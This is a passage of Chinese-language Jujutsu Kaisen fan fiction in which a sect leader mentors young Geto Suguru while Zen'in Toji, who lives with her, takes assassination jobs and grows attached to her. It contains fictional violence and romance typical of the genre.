“大人,有一个客户想要加急到今天下午,他愿意出三倍的钱。”一个负责对接客户的下属跑了过来,恭敬地说道。 “三倍啊……”今野桃皱着眉开口道,“看样子是很着急了。他遇到了什么麻烦?” “他说……他的儿子有些不对劲,怀疑……”下属说得有些含糊,但大家都听懂了。 这种事情他们见得太多了,尤其是发生在孩子身上。 还不能灵活控制咒力的孩子很容易就暴露出自身的非凡之处,若是遇到开明的家长还好,如果家人是古板、严肃的性格,孩子难免遭到一番折磨。 请大神、请驱魔师、逼迫孩子吃下来路不明的药物……他们会用尽一切办法,直到孩子变得“正常”。 “唉。” 今野桃真心实意地叹了口气。 “让他来吧。对了,他姓什么?”她对客户的名字不感兴趣,只想知道一个称呼。 “他姓夏油。” 第34章 今野 桃很快就见到了夏油先生,这个年近三十,穿着板正,把自己打理得整整齐齐,一看就是个高级知识分子的男人,牵着自己的儿子,来到了盘星教。 她在会客室接待了他们,点着檀香的古朴房间显然很符合夏油先生的审美,让他的眼中多了几分信任。 今野桃一身黑底金纹的和服,头发梳得一丝不苟,乌黑的发间簪着几点桃粉色,让她在郑重的同时又显露出了几分活泼。 她对两人颔首,示意他们坐在了对面。 “今野大人,”夏油先生迫不及待地开口道,“我的儿子他……” “唔,是叫夏油杰,对吧?”她用和缓的声音打断了他急促的发问。 “是、是的。” “杰君。”今野桃看向沉默不语的夏油杰,“你今年多大了?” 夏油杰没想到她会对自己开口,闻言愣了一下,随后望向了父亲。在父亲点头后,他才说道:“我今年九岁。” 今野桃的眸光微微闪了闪。 九岁,她依稀记得,自己曾经调查过夏油杰的生平,他在十岁之前搬了两次家,十岁之后才稳定了住处。 “那么,杰君觉得自己有什么奇特的地方呢?” “他经常说自己能看见怪物,但是我们都看不见!”夏油先生没有等夏油杰开口,主动解释道,“他还经常和空气打架,在我们看不到的地方受了很多伤!我也走访过学校的老师和同学,他们都说杰没有被霸凌,所以我只能推测,可能、可能确实有一些看不到的东西附在了杰的身上!” 今野桃的目光从夏油杰的身上移到了夏油先生的身上。 这个男人说不疼爱夏油杰,当然是假的。据说他辞掉了工作,专门带着儿子到处寻找解决的办法。 但同样,他不能接受自己的儿子有异于常人的地方,他迫切地希望儿子能变回“普通”的模样。 在父亲的高压下,夏油杰又闭上了嘴,安静得像是个蚌壳。 他沉默地接受着父亲施加在身上的一切,兴许在来这里之前,他已经看过很多医生、神官。 今野桃朝他招了招手,在父亲的示意下,夏油杰膝行两步靠近。 她抽出了一张符咒,装模作样地在夏油杰的头上来回晃了几圈,然后运起咒力,在他猛地瞪大的眼睛里,将符咒一分为二。最后反复切割成了纸屑。 “唔……确实是有什么东西紧紧黏在杰君的身上呢。”她感叹道。 夏油先生清楚地看见那一张完整的纸是如何变得粉碎,这绝不是虚假的戏法,于是对今野桃的信任大增。 “那怎么办?!”他焦急地问道。 今野桃仍旧老神在在,不紧不慢:“这个东西之所以跟着杰君,是因为杰君的魂魄较轻,容易吸引到它们。想要驱逐它们很容易,但这是治标不治本,杰君还是会被盯上。” “那、那该怎么做……?”夏油先生问完,忽然领悟到了什么,将银行卡掏了出来,“请今野大人帮帮我吧!我只有杰这一个儿子,无论如何都不能让他变成那个样子啊!” 那个样子是哪个样子? 在这个人人都敏感、不安的国家,一点点不同都会成为别人排挤、攻讦的目标,成为宣泄恶意的对象。 今野桃揉了揉额角,宽大的袖子卷走了银行卡,脸上挂着无奈的笑意:“既然你来到了我们盘星教,那我们自然会为你彻底解决疑难。你去外面等候,我来为杰君驱邪。” “是是是,多谢您了。”夏油先生感激地说道。 盘星教是在民间相当有名的一个教派,他会到这里来也是别人推荐的。据说对方的一个亲戚家的孩子就是在这里被看好的,也有诸多名流人物出入此处。 如果只是花钱就能让孩子变好,那他愿意倾尽所有。 厚厚的障子门合上,里面的声音在结界的屏蔽下传不出来一丝一毫。 今野桃低头注视着紧张地攥着衣服的夏油杰,露出了一个真切的笑容。 “不要怕,放心,你的一切疑惑我都会为你解答。”她朝他伸出手,摊开手掌,蓝色的咒力凝成一团,像是一朵火焰。 夏油杰确定自己没有看错。 “这、这是……”他小心翼翼地碰了碰,没有受到伤害。 “这是咒力,来源于人类的负面情感。咒术师们会练习从微小的情绪中提炼出咒力,这也是每个咒术师的基础课程。” 夏油杰几乎是屏住了呼吸在听。 咒力、咒术师……一扇新世界的大门正在他的面前缓缓打开,他忽然就理解了书中哈利波特在接到猫头鹰送来的信时兴奋的感觉。 “所以,我、我是咒术师吗?”他的声音有些颤抖。 今野桃拂了拂他的额发,轻声回道:“是的,你是咒术师。” 这句话,他本来在十五岁的时候才会听见,那时的他已经被反复打磨,懂得将自己隐藏在人群之中。但即便如此,他仍然会在普通人遇到危险的时候出手相救,也因此被夜蛾正道发掘。 夏油杰的心跳变得急促,兴奋点燃了他平静无波的双眼。 “你看见的那些怪物,叫做咒灵,它们由人类溢出的负面情感组成,我们也将这些负面情感称为‘诅咒’。普通人是看不见咒灵的,只有咒术师看得见。它们可怕而危险,根据实力分成不同等级。” 夏油杰克制着自己的激动,轻轻点头。 是了,他早就知道,他早该知道!他果然是这个世界的主角,是未来一定会消灭魔王的勇士! 而眼前这个漂亮极了的大姐姐,一定就是他的引路人! 是新手村老师! “杰君,你会听从我的安排的,对吧?” 夏油杰大力点头:“会的!” 今野桃摸了摸他的脑袋:“普通人看不到咒灵,咒灵就不会攻击他们。所以只要你也假装看不见,咒灵同样也会忽略你。因此接下来的日子,在你变得强大前,你都要装作看不见它们,能做到吗?” “能!” 今野桃对他露出了一个温柔的笑:“我会把我的联系方式给你,如果真的遇到了什么解决不了的麻烦,你可以联系我。” 夏油杰的脸有些发红,他严肃地说道,仿佛接受了什么重大的任务:“我知道了。” 今野桃满意地揉了一把他的头发,起身让夏油先生进屋。 “杰君身上的东西我已经驱逐了,接下来只要稳定魂魄,就可以让他不受侵扰。”今野桃矜持地说道,“所以建议接下来让杰君每周来一次教中,我会亲自为杰君施法。” 夏油先生大喜过望,自然没有不答应的道理。 临走时,夏油杰忍不住回了头。今野桃和他对视着,然后朝他眨了眨眼睛。 夏油杰抿出了一个浅浅的、羞涩的笑。 黄昏时分,今野桃到了家。枷场太太做好了饭菜,正在等她回来。禅院甚尔躺在沙发上,百无聊赖地按着电视遥控。 这本来是一副沉闷的画面,今野桃的到来让画面变得生动。 “工作辛苦了。”枷场太太接过她的包和外衣,挂了起来,又将碗筷取出,一一摆放好,“今天晚了一点,是遇到了什么事吗?” 今野桃轻柔地叹道:“是呢,遇到了一个不被认可的孩子,于是好好宽慰了他。” 禅院甚尔“哈”了一声,阴阳怪气地说道:“你还真是善良呢。” 枷场太太皱了皱眉,刚想开口,今野桃微笑着摇摇头,说道:“我并非善良,只是想做一些力所能及的事 情。” 禅院甚尔哽了一下,表情有些不自在。 “不过是在可怜别人罢了。”他移开视线,硬邦邦地说道。 今野桃撑着下巴,用包容的目光凝视着他。 “甚尔君,有的人的‘可怜’是高高在上的施舍,有的人的‘可怜’是感同身受的呵护。” 她停顿了一下,语气格外地有深意。 “更何况,‘怜爱’如何不是一种爱呢?” “可怜”本身,不就有“可爱”的意思吗? 禅院甚尔的手极细微地缩了缩。 第35章 孔时雨接到禅院甚尔的消息时,还有点惊讶。 “你没有去乡下啊?”他还以为这个男人已经找个犄角旮旯的地方窝起来了呢。 孔时雨是最清楚禅院甚尔计划的人了,毕竟有很多环节都是依靠他帮忙的,禅院甚尔这个没文化、没身份证明、被禅院畜养十几年的人,哪里知道怎么办理手续。 禅院甚尔敷衍地点头:“嗯,没去。” 孔时雨耸了耸肩膀,没细问,他们之间的交情并没有多么深厚,只不过禅院甚尔的实力很强,让他觉得可以稍稍投资一点。 “没去也挺好,大城市机会也多,赚的钱也多。”孔时雨点了根烟,吸了一口后问道,“找我有什么事?” 禅院甚尔嫌弃地看了他一眼,走到上风口,说道:“我难道还能找你叙旧吗?最近有什么单子吗,不要祓除咒灵的,最好是杀诅咒师,钱给得多的那种。” 作为中介的孔时雨不必打开手机的记录都能说出一串来,他开口道:“有啊,现在有一个金额相当高的悬赏单,已经有很多人失败了。你想试试吗?” “说说看?”禅院甚尔感兴趣了。 两人来到了公园,坐在一处石桌前。 “是杀盘星教教主。”孔时雨掏出笔记本电脑,打开某个网页后,将屏幕转给禅院甚尔看,“目前的赏金已经出到五个亿了。” 孔时雨以为禅院甚尔会迫不及待地追问,没想到他反而沉默了下去。犹豫了几分钟,他看着悬赏单上模糊的人影,开口问道:“盘星教教主?” “是的,目前只知道她是女性,年龄在二十到四十岁之间。实力很强,而且性格古怪。那些去杀她的人都被打得只剩下一口气,等到被发现时,刚好死亡。” 就像是猫咪玩弄老鼠一样,既展现出了自己的实力,又在嘲笑敌人的不自量力。 “他们为什么要杀她?我以为盘星教应该是个不错的教派?”禅院甚尔迟疑地开口道。 “盘星教啊……它以前就是个披着崇拜天元外衣的敛财组织,里面的人形形色色,大部分都是诅咒师。据说它和咒术界的高层有着很紧密的关系。”这些情报孔时雨以前是不会说的,但现在不同了,“新任教主是靠大清洗上位的。她将盘星教里的那些犯过罪的诅咒师以及反对她的人都杀光了,然后吸纳了一批底层咒术师。” 这里的底层咒术师指的是那些三四级的咒术师,他们可能连术式都没有,就是可以看到咒灵的普通人。这种人是最难在咒术界活下去的,甚至平时也会遇到危险。 所以在盘星教对他们伸出援手后,他们立刻加入了进去。 至此,盘星教的业务也发生了重大改变。他们开始深入到普通人之中,甚至还打出了可笑的口号。 这触动到了许多人的利益。 “盘星教现在就是那个教主的一言堂,她隐藏得很深,有挺多人都想她死来着,但杀她的难度很大。”孔时雨点了点悬赏单,怂恿道,“我觉得你可以试一试,你不是没有咒力吗,潜入进去一定很轻松。就算没能杀掉她,挖出她的情报,也可以卖很多钱。” 可是禅院甚尔竟然拒绝了。 这种几乎是送钱的单子,他竟然拒绝了! “算了,盘星教的任务先不接吧。”禅院甚尔淡漠地说道,“再看看别的。” 孔时雨咂了咂嘴:“行吧,那你看看这个。” 他将另一份单子发给他,禅院甚尔扫了一眼就接了。 杀掉那个诅咒师花的时间还没有他在路上花的时间多。当刀子抹过脖颈时,诅咒师甚至都不知道发生了什么事。 血液向前飚射,禅院甚尔轻巧地避开。 拍了个照片发给孔时雨,赏金很快就打了过来。他将匕首上的血擦干净,重新藏了起来。 回去的时候路过了商业街,鬼使神差地,禅院甚尔停在了一处店面门口。 粉色的招牌上画着爱心,进进出出的都是年轻女孩子。这些对禅院甚尔都没有造成影响,他一眼就看见了橱窗里那个精致的草莓蛋糕。 唔,她似乎喜欢吃草莓蛋糕。她第一次给他的食物,就是半个草莓蛋糕。 禅院甚尔在路人的侧目下走进了蛋糕店,几分钟后出来时手里已经拎着一个盒子了。 就当是感谢她这段时间的收留吧。他也不是什么不知好歹的人。 禅院甚尔平静地想。 他知道今野桃一定吃过很多蛋糕,而他带回去的蛋糕只是很普通的一款。他没打算得到回应,反正她不吃的话,他就自己吃。 胡思乱想着,刷了副卡走过门岗,保安对他微笑致意。 从遇到今野桃开始,他的人生好像发生了巨大的变化。从前对他恶意满满的世界,忽然展现出了美好的一面。 真有趣啊。 禅院甚尔推开门时,听见里面有人说话。 “嗯,是吗,这样就太好了。”女人的声音软软的,像是糖果店里裹满了糖霜的水果糖,“请不要这样说,我相信您的生活未来也会越来越好的。” 挂断电话,她回过头,对禅院甚尔露出了一个温婉的浅笑,“甚尔君回来了。” 禅院甚尔仿佛被定住一般,在门口愣了好一会儿,才含糊地回应:“……啊。” “是带了礼物回来吗?”她作出惊喜的表情,把桌上的本子挪开,“快拿过来吧。” 禅院甚尔慢慢地走近,把蛋糕放在了桌上。 “哇哦,是草莓蛋糕。”今野桃笑眯眯地说道,“真是意外啊。” 养了没多久的小猫竟然会带猎物回家了,好感动。 “甚尔君今天一定遇到了开心的事情吧,能跟我分享一下吗?”她抬起头,眼睛里盛满了期待,让人不忍辜负。 可是他哪里遇到了什么值得开心的事情呢? 憋了半天,禅院甚尔开口道:“我……找了份工作,嗯,刚刚发了工资。” 今野桃眨了眨眼睛。 什么?他找了份工作?!他找的什么工作,不会专业杀人吧? 今野桃忍了又忍,没问出口。 “真不错,甚尔君的生活也在慢慢变好呢。”她清了清嗓子,沉吟道,“可是我没有给你准备礼物……” “不用,本来也只是随便买的。”禅院甚尔淡淡开口道。 “那就抱一下吧。” 她朝他张开了双手。 禅院甚尔在这个刹那,忘记了该怎么呼吸。 “抱、抱一下?”他傻傻地重复道。 “是啊,可以吗?”今野桃拉长了声音,“我也想为甚尔君庆祝一下呀。” 禅院甚尔不知道自己怎么走过去的。事实上,他只走了两步,剩下的距离,是今野桃走向了他。 唉,没办法啦,虽然看起来很会打架、个子也很大,但甚尔啊,是个胆小鬼呢。因为受过的伤太多,所以被人靠近时会习惯反击,已经忘记了正常的亲密关系是什么样子的。 今野桃的双手连同他的手臂一起环绕住,身体前倾,靠在了他的胸口。 禅院甚尔好像感觉到了她的呼吸将他的心口位置烧热,连着整颗心脏也一起变得滚烫。馨香的气息送入鼻间,仿佛是一种迷药,熏得他头脑发昏。 怀里是满的,空洞的心好像也满了,他陡然生出了一种终于抓住了什么的感觉。 “你……”他不自知地抬起了手腕。 下一秒,今野桃直起了身。 不等 他反应过来,在收回手的时候,她的指甲无意间划过了他的后腰,带出了一串条件反射的轻颤。 他难以抑制的深吸了一口气。 禅院甚尔惊疑不定地看向她,似乎在她的脸上看见了几分狡黠。可是不等他细看,她已经转了方向。 “我去拿小刀。” 她扔下这句话,脚步轻盈地进了厨房。 比巴掌大不了多少的蛋糕被均匀地切成了两份,今野桃将其中一份推给了禅院甚尔。随后她用叉子将自己那份的草莓叉起来,放进了嘴里。 “好吃。”她点评道,舌尖隐约能看见草莓汁的红色,“甚尔君不吃吗?” 禅院甚尔抬眼,深深地凝视着她…… ‘吃。’他简短地挤出一个字,然后按住她的手背,猛然发力,如同饿虎扑食,将人扑在了沙发上。 黑色的长发压在身下,又丝丝缕缕地垂落,如蛛网般缠绕。 ‘甚尔君?’她无辜地开口道。 禅院甚尔有些生气:‘一直这样引诱我,很好玩吗?’ 听见他的疑问,她笑了起来。她的嘴唇开合,似乎说了什么。 可他听不清楚。 也不想听清楚。 他俯身,堵住了她的嘴唇。她似乎在挣扎,于是他握住她的两只手腕,将它们高高举过头顶,一只手扣在了一起。然后他的另一只手,掐住了她的下巴。 他的舌尖莽撞地闯入从未去过的地方,贪婪地恨不得将她整个吃干净。 黏腻的水声响起,随着他的喉头滚动而尽数吞下。 还不够。 他还想要更多、更多…… 咚咚。 敲门声响起。 “甚尔君,该起床吃早餐了哦。”女人的声音自门外传来,“你今天睡过头了啦。” 除了第一天,后来每一次吃饭他都很准时出现。 真奇怪,难道是生病了? 今野桃疑惑地想。 “……我知道了,马上来。” 禅院甚尔的声音听不出不对劲,今野桃只能猜测,兴许是昨天他出去做了什么累到了吧。她摇摇头,走向了餐桌。 房门打开,禅院甚尔冲进了卫生间。然后门砰一下关上,紧接着,哗啦哗啦的水声掩盖住了一切动静。 冷水兜头淋下,打在皮肤上有一种细微的刺痛感。 黏黏的汗水被冲刷干净,却冲不去一场湿漉漉的梦。 第36章 禅院甚尔沉默地坐在了餐桌前,什么都没说。 今野桃咳了两声,开口道:“枷场太太,等下你走的时候,帮我把垃圾清理一下。” 枷场太太愣了一下,回过头看向厨房。半开放式的厨房不大,里面的东西足以一目了然。 其实她之前就发现了,垃圾桶里有一个盒子,应该是装蛋糕的。闻言,枷场太太了然笑道:“好呀。昨天是有什么好事吗?那么晚了还特意买了蛋糕。” 她做完了晚饭就走了,并不知道后面的事情。 不等禅院甚尔开口,今野桃用力点头,笑盈盈地说道:“是呀,昨天甚尔君发工资了,所以买了个蛋糕来庆祝。蛋糕可是甚尔君带回来的哦,他特意选了我喜欢的草莓蛋糕,甚尔君好细心呢。” 过于浮夸的赞美让禅院甚尔的身上像是爬满了虫子,怎么都不自在极了。 这、这种小事,有必要吗? 枷场太太惊讶地捂住了嘴巴,非常配合地说道:“是吗?竟然是甚尔君买的蛋糕,真是不可思议。不过我第一眼看见甚尔君的时候,就知道甚尔君是一个好孩子,以后一定会很了不起的。” 禅院甚尔已经不知道该摆出什么样的表情来应对了。 他发现,这两个女人在把他当小孩哄。 这种话对八岁的小孩或许有用,但他已经十八岁了。 禅院甚尔放下了筷子,没好气地说道:“只是一个蛋糕而已,不知道的,还以为我做了什么很重要的事情。” 所以,都给他正常一点啊!别再说一些让人浑身起鸡皮疙瘩的话了! 今野桃不赞同地看着他,说道:“你错了,甚尔君,你就是做了一件很重要的事情呀。你将自己的心意传达给了我,这难道还不重要吗?” 心意……? 禅院甚尔的耳根有些发热,什么心意啊!这个女人,在胡说八道什么…… “甚尔会因为发了工资所以想到给我带喜欢的蛋糕,难道不是心中惦念着我吗?”她的眼睛睁得圆圆的,晨光的碎影在瞳孔中摇曳,映出身侧男人的面容,“这份心意,比什么都珍贵呢。” 是、是吗? 禅院甚尔放在桌上的手不自觉地用力,想要抓住什么。 “玫瑰难道是什么很昂贵的花朵吗?然而在被人们赋予了爱情的名义后,它就变得特别了。”今野桃缓缓地向他伸出了手,最后轻柔地覆盖在了他的手背上,“甚尔君送给我的蛋糕,让我感觉到,甚尔君有把我当成家人呢。” 因为是家人,所以在快乐的时候,想要把心情也一并分享给她。 禅院甚尔张了张嘴,半天没能说出什么好听的话来。 该说什么?说谢谢吗?不,不对,而且这样的话像针一样扎嘴,他根本就说不出口。从未有人夸过他,也没有人说过他很珍贵,他不过是禅院家一颗不起眼的石子,是一块妄想离开垃圾堆的垃圾。 于是他只能笨拙地开口道:“……快吃饭,等下我送你去上班。” “嗯!”今野桃露出一个灿烂的笑容,比春日绽放的樱花还要美。 让禅院甚尔不敢多看。 前往盘星教的距离不长,今野桃每天都是走路去的。和煦的日光洒在身上,不会像中午那样炎热,更多的是暖意。 刚刚拐过岔路口,远远地,他们就看见有个小孩已经背着书包蹲在旁边的墙根处了。 他一只手撑着下巴,一只手无聊地戳动脚下的泥土。 忽地,他眼睛一亮。 “小桃姐姐!”他将滑落的书包往背上一甩,朝着今野桃跑来。 “是杰君啊,来得这么早吗?”今野桃摸了摸他的头发,“吃了早点吗?” “吃过了。”夏油杰用自以为不露痕迹的目光打量着禅院甚尔,这个男人,给他一种很危险的感觉,“小桃姐姐,这个大哥哥是?” “啊,他叫甚尔,是我的家人呢。”今野桃温柔地说道,又扭过头对禅院甚尔说,“这是夏油杰,就是之前我同你说过的,一个很聪明的男孩子。” 夏油杰抿出了一个不好意思的笑。 小桃姐姐竟然在家里也提起过他吗?还夸他聪明…… “呵,你说过的人太多,我都想不起来是谁。”禅院甚尔冷笑着扯了扯嘴角,“他看上去可不太聪明的样子。” 夏油杰:??? 这个男人在说什么啊!好没礼貌的家伙! 在两人吵起来之前,今野桃赶紧拉住了禅院甚尔,开口道:“谢谢甚尔君送我,那我就先去忙了。” “……嗯。”禅院甚尔慢吞吞地回道。 他将手臂抽出来,不动声色地握了握她的手腕,然后轻轻放开。 今野桃甚至都没察觉到他的小动作,牵着夏油杰走进了盘星教。 拐过两个弯,夏油杰才小声地说道:“这个大哥哥好凶啊。” “诶?甚尔君吗,他看起来是比较凶,不过会和你吵起来,他也挺幼稚的,对吧。”今野桃含笑着说道。 夏油杰闭上了嘴巴。 懂了,在小桃姐姐的心里,那个男人的好感值比他要高,所以他告状也没用。 “好了,我今天教你如何分辨咒灵的等级,你现在调伏的咒灵都是三级以下的,我们这次尝试调伏一只二级咒灵,在这个过程中,如果有任何不舒服的情况,都要及时跟我说,好吗?” 今野桃弯腰,按住他的肩膀,真诚地说道:“不论如何,以你的安全为先。” 夏油杰认真地点头:“我知道了。” 他有些紧张,这是他第一次在身边有人的时候调伏咒灵。他知道,自己的样子会很狼狈,会很丑陋。但他的心里又难免抱有一丝期待——这么厉害的小桃姐姐,能否帮助他解决吞服咒灵的痛苦呢? 她一定可以做到的吧? 被五花大绑的二级咒灵在夏油杰的一番拳打脚踢后,压缩成了咒灵玉,其中自然少不了今野桃的悄悄帮助。夏油杰回过头, 对上她鼓励的眼神。 于是他深吸了一口气,将漆黑的咒灵玉吞了下去。 呕…… 恶心,好恶心啊! 像是吞下了一块擦了秽物又风干的抹布,刹那间,夏油杰的眼泪就不受控制地流了出来。 “小桃姐姐……”他的嘴唇开合,向身边的人求助。 今野桃的瞳孔骤然缩紧,她一把揽住了往下滑的夏油杰,将他抱在怀中。 “杰君,杰君你怎么了?”她轻轻揉按着夏油杰的喉咙,咒灵玉已经进入到了他的身体中,再看不见踪影。 “好难受……”他攥着她的衣服,很快就将紧贴着脸颊的布料打湿。 今野桃有些慌张了。 怎么会这个样子呢?原来咒灵操使调伏咒灵,竟然是这么痛苦的吗? 她不知道,她从来都不知道……杰,为什么要瞒着她? 初见的时候,她虽然撞破了夏油杰吞下咒灵的场景,但因为那时的他背对着自己,昏暗的巷子也掩盖住了许多细节,所以她并不知道吞食咒灵玉到底会有多难受。她以为、以为夏油杰只是被噎住了…… 十四岁的夏油杰已经学会了遮掩,九岁的夏油杰还渴望有人能拯救自己。 绿色的光芒凝聚在手心,今野桃尝试用反转术式治疗他。夏油杰的嘴唇慢慢恢复了几分红润,不再是吓人的苍白。 回过神的夏油杰发现自己半躺在女人的怀中,脸上浮出了几分绯红。 “小、小桃姐姐……”他有些贪恋这份温柔,但小孩的自尊又催促他赶紧起来,他都这么大了,怎么还能赖在大人的怀里。 可是,这是小桃姐姐,是他的引路人,是他的指南针。所以,稍微撒撒娇,应该没关系吧? “没关系的。”今野桃抱着他,有节奏地拍打着他的脊背,让他狂跳的心安定下来,“杰君已经很勇敢了。” 是吗…… “杰君做得很好呢,比我想象中要好很多。”今野桃拨开他汗湿的额发,拂去他眼角的泪珠,“辛苦你了。” 夏油杰涨红了脸,埋在她的怀中一言不发,双手却紧紧抱住了她。 父母的不理解、朋友的疏远、邻居的指指点点……这些都足以逼疯一个孩子。幸好他在彻底崩溃前,终于找到了一处能够遮风挡雨的庇护所。 他一定要牢牢地抓住,绝对不会松开…… 真是碍眼。 在盘星教绕了一圈,什么也没打探到的禅院甚尔远远地蹲在屋顶上,刚好看见了这个画面。 他捻了捻手指,面无表情地想着。 臭小鬼,少来打不属于自己的宝物的主意。 第37章 在被发现前,禅院甚尔离开了盘星教。他将自己收集到的无关紧要的情报一块儿卖给了孔时雨。 对方很快就接收,并打了个电话过来。 “你去了盘星教?” “啊。”禅院甚尔一只手拿着电话,一只手在架子上来回翻看。 他在给自己买衣服,脚边已经立着两三个袋子了。 “果然还得是你啊。”孔时雨大力夸赞道,“盘星教那块地方可是设有结界的,没有得到邀请,就算是普通人也进不去。” 因为就算是普通人,身上也会带有咒力。而禅院甚尔作为天与咒缚,天生下来就没有一点咒力。这种结界对他来说,如同无物。 偏偏很多组织都喜欢用结界来保护或屏蔽自己,这给了禅院甚尔莫大的便利。 “少废话。”禅院甚尔冷漠地说道,“打钱。” 孔时雨哽住,来回翻看他发过来的消息,有些牙疼。 “你这也没什么核心情报啊。”他嘀咕着,“人都进去了,没打听到更重要的消息?比如,你没看见盘星教教主长什么样子吗?” “没。”禅院甚尔不耐地说道,“既然是教主,也不会天天待在教里吧。” 就他的人生经验来看,越是位高权重的人,就越是不会亲自去干活。他们端着一副高高在上的样子,只是从指缝里漏一点东西施舍出来。明明是在压榨别人,还想要别人感谢他们。 孔时雨觉得他说得有道理。 “反正你既然都能摸进去了,到时候看能不能把直接把那个教主干掉算了。”他无所谓地说道,“忘了跟你说,赏金池往上加了,现在那个教主的赏金是六个亿。” 禅院甚尔:“?!别太离谱了,五条悟都没这个价格吧?” “赏金是加茂那边加上去的。”孔时雨停顿了一下,声音压低了一些,“据说他们怀疑,之前那个冲进加茂大肆杀戮的那个人,就是盘星教教主。” 这件事发生在禅院甚尔叛逃禅院家之前,他也略有耳闻。 “这样吗……”禅院甚尔有点心动,但最终还是没有松口。 盘星教教主死了的话,盘星教肯定又会发生巨大的变化吧。到那时,依附于盘星教的人肯定也会受到影响。 禅院甚尔啧了一声,拎着袋子走了。 当他到家时,今野桃也已经到家了。她坐在沙发上,翻看着手里包着封皮的书。 “你回来了,甚尔君。”她对他弯了弯眼睛。 禅院甚尔本想好好回答,但不知道怎么地,话到了嘴边却变成了:“你今天回来得挺早,我还以为你会在那里多待一会儿。” “诶,为什么?” “你不是很喜欢那个小鬼吗。”禅院甚尔干巴巴地说道。 今野桃歪了歪头,恍然大悟:“甚尔君,你是吃醋了吗?” “吃醋?!”禅院甚尔像是被踩到了脚的大猫,差点跳了起来,“别开玩笑了,我怎么可能会吃那个小鬼的醋!” 而且,他为什么要吃醋啊! “杰君是因为对未来产生了迷茫,所以向我们求助了。他才那么小,我们当然要尽力帮助他呀。”今野桃认真地说道,“小孩子也有获得幸福的权利。” 禅院甚尔哑然,他烦躁地将袋子扔到玄关处,拖拖沓沓地走进客厅,坐在了她的旁边。 今野桃原本坐在沙发的中间,禅院甚尔一来,位置就很挤了。他的手臂伸展开来,搭在了她身后的靠背上。 乍一看,好像他抱住了她似的。 “那个小鬼……他有咒术吧?”禅院甚尔按动着电视遥控器,状若无意地问道。 “是呢,他的咒术是‘咒灵操术’,还挺强的。”今野桃简单地介绍道,“就是他年纪还小,控制不住咒力,让家人有些担心。” 禅院甚尔没接触过这种普通人,自然不知道非家系出身的年幼咒术师在普通人的世界里有多难过。 他的目的也不是追问这个。 “那你呢?”他垂眼开口道,“你也有咒术吗?” 这个问题,他现在才想起来,答案也并未出乎他的意料。 “唔,有的。”今野桃点头回答,“我也有咒术。” 禅院甚尔推测,枷场太太也有咒术。所以,他又成了那个唯一没有咒术的人吗? “甚尔君想知道我的咒术吗?”她合上书,侧身面对着他。 禅院甚尔没说话。此时他的内心仿佛出现了两个人格,他们在互相打架。 一个在说“你不是发誓要远离咒术界吗?不是说讨厌一切咒术师吗?”,另一个在说“她是不一样的”。 禅院甚尔从前见过的咒术师都让他看不惯,按照实力排序,越强的咒术师越是趾高气昂,他们仿佛是从千年前活到现在的老不死,带着一股棺材味。 禅院甚尔没能第一时间发现今野桃是个咒术师,就是因为她表现得太温柔了。她对任何人都很温柔,不管是普通人,还是咒术师。 不管是对她有用,还是没用。 这样的存在,完全颠覆了他对咒术师的刻板印象。 “那就让甚尔君看一看我的咒术吧。”她的声音让禅院甚尔回过神来。 什么? 绿色的光芒亮起,一种奇特的感觉顺着她悬在他胸口处的掌心传递到了他的身体里。 有股从未见过的能量涌入他的血管、他的肌肉,如春风轻轻拂过,很快又消失不见。 “这是反转 术式,可以将负面能量转化为正面能量。“今野桃挠了挠脸颊,叹道,“不过这个术式只能用于治疗,杀伤力很低呢。” 反转……术式?她的咒术竟然是反转术式吗? “你知不知道,这是一种很珍贵的术式?”禅院甚尔喃喃道。 “很珍贵吗?或许是吧。”今野桃无所谓地说道,“这术式能让我更好地实现我们盘星教的教旨,可以帮助更多的人获得幸福。我觉得就很值得了。” 禅院甚尔一时失语。 她竟然……想用这个术式,去帮助所有人吗?难怪她要托庇于盘星教,一旦被御三家或者其他家族的咒术师们发现,她必然会成为某个势力的禁脔吧。 “你……”他觉得喉咙有些干涩,“你在外面没有乱用你的术式吧?” “放心好啦,我很少在外面对陌生人使用这个术式。”她不好意思地抿了抿嘴,小心地觑了一眼他说道,“我们第一次见面的时候,我不是就没有给你用反转术式吗?甚尔君……你不会介意吧?” 禅院甚尔不仅没有介意,甚至觉得她还需要再提高警惕。 唉,算了,他怎么能强行把这种阴暗的想法灌输给她呢。鲜艳的花被折下,不能怪罪它的美丽,只能怪罪折花的恶人和没有作好保护的园丁。 “没关系。”他长长地吐出了一口气,握住了她的手腕,“我知道了。” 既然是家人,那么,保护她也是他的责任吧。 今野桃刚想说什么,手机忽然震了一下。她低头,打开信箱,目光微微一凝。 “甚尔君,我要出去一趟,枷场太太说她今天有些不舒服。”她十分自然地起身。 禅院甚尔也跟着要站起来:“我同你一起……” “可是枷场太太今天没办法来给我们做晚饭了,甚尔君,只能拜托你了。”今野桃可怜地说道,“你可以的吧?” 禅院甚尔僵住。 “可以……的吧。”他迟疑地回道。 “那就拜托你了。”今野桃假装没听出他的茫然,拎起包往外走,“我很快就回来。” 大门关上,禅院甚尔表情凝重地走进了厨房。 而转过头,今野桃发出了一声冷笑。 [不想这个女人死,就到这里来。] 从枷场太太的号码那里传来了这样一条消息。 她倒要看看,是哪个不怕死的东西,胆子这么大。 枷场宅离得也不远,大概二十分钟的样子就到了。此时天色已经暗了下来,太阳只剩下最后一点余晖,乌云遮住了本就昏沉的月光。 枷场宅没有亮灯,大开的房门像是一张深渊巨口,等着将来人吞噬。 今野桃明目张胆地走了进去,没有任何掩饰。 走进客厅的一瞬间,顶灯啪一下打开,有什么东西朝她袭来,她旋身避开,灵活而又优雅。 “原来如此,你就是靠着这样的一张脸,去勾引的甚尔君吗?” 这句话一出,今野桃还以为是禅院甚尔的情债找上门来了。仔细一想,不对啊,他刚刚离开的禅院,连女人的嘴都没亲过,哪里来的情债? 再定睛一看。 嗯?怎么是个男人啊? “你这种不安于室的女人,连做侧室的资格都没有!就应该以死谢罪!”有着一双上挑狐狸眼的少年恶毒地说道。 今野桃点了点额头,沉默许久,开口道:“你谁啊?” 少年轻蔑地笑道:“你不必知道我是谁,总之,你今天就要死在这里了。” 他决不允许、决不允许甚尔君被这种女人玷污! 话音落地,他猛然间朝着今野桃冲了过去。锋利的短刀在他的手中折射出森寒的光,目标明确地捅向她的喉咙。 下一秒,场景定格了。 像是按下了暂停键,少年悬在了半空中,一只纤细的手握住了他的脖子,慢慢地将他从地上举了起来。 “呃……咯……” 少年的腿在空中慌乱地踢腾,却被今野桃一拳击碎了膝盖,剧烈的疼痛让他霎时间失去了所有力气。 短刀落地,他的双手拼命掰着她的手指,但那只手却纹丝不动,硬得像块铁。 